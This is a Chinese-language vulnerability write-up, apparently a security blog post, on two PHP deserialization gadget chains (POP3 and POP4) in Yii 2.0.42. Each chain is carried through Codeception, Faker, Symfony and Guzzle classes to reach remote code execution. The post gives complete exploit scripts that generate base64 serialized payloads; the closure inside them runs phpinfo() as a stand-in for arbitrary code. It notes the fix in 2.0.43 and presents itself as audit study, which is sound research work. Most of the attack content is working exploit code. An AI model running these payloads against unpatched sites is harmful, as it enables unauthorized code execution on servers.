Yii2.0.42反序列化分析(二)
字数 904 2025-08-09 13:33:32

Yii2.0.42反序列化漏洞分析与利用

环境搭建

请参考前篇文档搭建Yii2.0.42环境,本文直接切入反序列化漏洞分析。

漏洞背景

Yii2.0.42存在多个反序列化利用链(POP链),主要通过魔术方法和特定类的组合实现RCE。本文分析两条不同的利用链(POP3和POP4)。

POP3利用链分析

利用链概览

RunProcess::__destruct()
-> UniqueGenerator::__call()
-> LazyString::__toString()
-> 动态函数调用实现RCE

关键点分析

  1. 入口点RunProcess类的__destruct方法触发反序列化流程
  2. 跳板UniqueGenerator类的__call魔术方法
  3. 利用点LazyString类的__toString方法中的动态函数调用

详细利用过程

  1. RunProcess类

    namespace Codeception\Extension;
    use Faker\UniqueGenerator;
    
    class RunProcess {
        private $processes;
        public function __construct() {
            $this->processes = [new UniqueGenerator()];
        }
    }
    
  2. UniqueGenerator类

    namespace Faker;
    use Symfony\Component\String\LazyString;
    use Faker\DefaultGenerator;
    
    class UniqueGenerator {
        protected $generator;
        protected $maxRetries;
    
        public function __construct() {
            $a = new LazyString();
            $this->generator = new DefaultGenerator($a);
            $this->maxRetries = 2;
        }
    }
    
  3. LazyString类

    namespace Symfony\Component\String;
    use Codeception\Extension\RunProcess;
    
    class LazyString {
        private $value;
    
        public function __construct() {
            include("../test/closure/autoload.php");
            $a = function(){phpinfo();};
            $a = \Opis\Closure\serialize($a);
            $b = unserialize($a);
            $this->value = $b;
        }
    
        public function __toString() {
            // 关键利用点:动态函数调用 ($this->value)()
            return ($this->value)();
        }
    }
    

绕过技巧

  1. 使用Opis\Closure序列化匿名函数绕过is_string()检查
  2. LazyString::__toString()中的($this->value)()实现动态函数调用

EXP代码

<?php
namespace Codeception\Extension;
use Faker\UniqueGenerator;

class RunProcess {
    private $processes;
    public function __construct() {
        $this->processes = [new UniqueGenerator()];
    }
}

namespace Faker;
use Symfony\Component\String\LazyString;
use Faker\DefaultGenerator;

class UniqueGenerator {
    protected $generator;
    protected $maxRetries;
    public function __construct() {
        $a = new LazyString();
        $this->generator = new DefaultGenerator($a);
        $this->maxRetries = 2;
    }
}

namespace Faker;
class DefaultGenerator {
    protected $default;
    public function __construct($default = null) {
        $this->default = $default;
    }
}

namespace Symfony\Component\String;
use Codeception\Extension\RunProcess;

class LazyString {
    private $value;
    public function __construct() {
        include("../test/closure/autoload.php");
        $a = function(){phpinfo();};
        $a = \Opis\Closure\serialize($a);
        $b = unserialize($a);
        $this->value = $b;
    }
}

$a = new RunProcess();
echo base64_encode(serialize($a));

POP4利用链分析

利用链概览

RunProcess::__destruct()
-> DefaultGenerator::__toString()
-> AppendStream::rewind()
-> CachingStream::read()
-> PumpStream::pump()
-> 动态函数调用实现RCE

关键点分析

  1. 入口点RunProcess类的__destruct方法
  2. 跳板DefaultGenerator类的__toString魔术方法
  3. 利用点PumpStream类的pump方法中的动态函数调用

详细利用过程

  1. RunProcess类

    namespace Codeception\Extension;
    use Faker\DefaultGenerator;
    use GuzzleHttp\Psr7\AppendStream;
    
    class RunProcess {
        protected $output;
        private $processes = [];
    
        public function __construct() {
            $this->processes[] = new DefaultGenerator(new AppendStream());
            $this->output = new DefaultGenerator('joker');
        }
    }
    
  2. AppendStream类

    namespace GuzzleHttp\Psr7;
    use Codeception\Extension\RunProcess;
    use Faker\DefaultGenerator;
    
    final class AppendStream {
        private $streams = [];
        private $seekable = true;
    
        public function __construct() {
            $this->streams[] = new CachingStream();
        }
    }
    
  3. CachingStream类

    final class CachingStream {
        private $remoteStream;
        public function __construct() {
            $this->remoteStream = new DefaultGenerator(false);
            $this->stream = new PumpStream();
        }
    }
    
  4. PumpStream类

    final class PumpStream {
        private $source;
        private $size = -10;
        private $buffer;
    
        public function __construct() {
            $this->buffer = new DefaultGenerator('j');
            include("../test/closure/autoload.php");
            $a = function(){phpinfo();};
            $a = \Opis\Closure\serialize($a);
            $b = unserialize($a);
            $this->source = $b;
        }
    }
    

绕过技巧

  1. 通过控制CachingStreamremoteStream属性绕过eof()检查
  2. 使用Opis\Closure序列化匿名函数实现动态调用

EXP代码

<?php
namespace Codeception\Extension;
use Faker\DefaultGenerator;
use GuzzleHttp\Psr7\AppendStream;

class RunProcess {
    protected $output;
    private $processes = [];
    public function __construct() {
        $this->processes[] = new DefaultGenerator(new AppendStream());
        $this->output = new DefaultGenerator('joker');
    }
}

namespace Faker;
class DefaultGenerator {
    protected $default;
    public function __construct($default = null) {
        $this->default = $default;
    }
}

namespace GuzzleHttp\Psr7;
use Codeception\Extension\RunProcess;
use Faker\DefaultGenerator;

final class AppendStream {
    private $streams = [];
    private $seekable = true;
    public function __construct() {
        $this->streams[] = new CachingStream();
    }
}

final class CachingStream {
    private $remoteStream;
    public function __construct() {
        $this->remoteStream = new DefaultGenerator(false);
        $this->stream = new PumpStream();
    }
}

final class PumpStream {
    private $source;
    private $size = -10;
    private $buffer;
    public function __construct() {
        $this->buffer = new DefaultGenerator('j');
        include("../test/closure/autoload.php");
        $a = function(){phpinfo();};
        $a = \Opis\Closure\serialize($a);
        $b = unserialize($a);
        $this->source = $b;
    }
}

$a = new RunProcess();
echo base64_encode(serialize($a));

修复方案

Yii2.0.43版本已经修复了这些反序列化漏洞,建议升级到最新版本。

总结

  1. 两条利用链都依赖于魔术方法的巧妙组合
  2. 关键点在于找到可控的返回值点
  3. 使用Opis\Closure序列化匿名函数是实现RCE的核心技术
  4. 需要耐心分析类之间的调用关系和属性控制

通过分析这些利用链,可以加深对PHP反序列化漏洞的理解,提高代码审计能力。

Yii2.0.42反序列化漏洞分析与利用 环境搭建 请参考前篇文档搭建Yii2.0.42环境,本文直接切入反序列化漏洞分析。 漏洞背景 Yii2.0.42存在多个反序列化利用链(POP链),主要通过魔术方法和特定类的组合实现RCE。本文分析两条不同的利用链(POP3和POP4)。 POP3利用链分析 利用链概览 关键点分析 入口点 : RunProcess 类的 __destruct 方法触发反序列化流程 跳板 : UniqueGenerator 类的 __call 魔术方法 利用点 : LazyString 类的 __toString 方法中的动态函数调用 详细利用过程 RunProcess类 : UniqueGenerator类 : LazyString类 : 绕过技巧 使用 Opis\Closure 序列化匿名函数绕过 is_string() 检查 LazyString::__toString() 中的 ($this->value)() 实现动态函数调用 EXP代码 POP4利用链分析 利用链概览 关键点分析 入口点 : RunProcess 类的 __destruct 方法 跳板 : DefaultGenerator 类的 __toString 魔术方法 利用点 : PumpStream 类的 pump 方法中的动态函数调用 详细利用过程 RunProcess类 : AppendStream类 : CachingStream类 : PumpStream类 : 绕过技巧 通过控制 CachingStream 的 remoteStream 属性绕过 eof() 检查 使用 Opis\Closure 序列化匿名函数实现动态调用 EXP代码 修复方案 Yii2.0.43版本已经修复了这些反序列化漏洞,建议升级到最新版本。 总结 两条利用链都依赖于魔术方法的巧妙组合 关键点在于找到可控的返回值点 使用 Opis\Closure 序列化匿名函数是实现RCE的核心技术 需要耐心分析类之间的调用关系和属性控制 通过分析这些利用链,可以加深对PHP反序列化漏洞的理解,提高代码审计能力。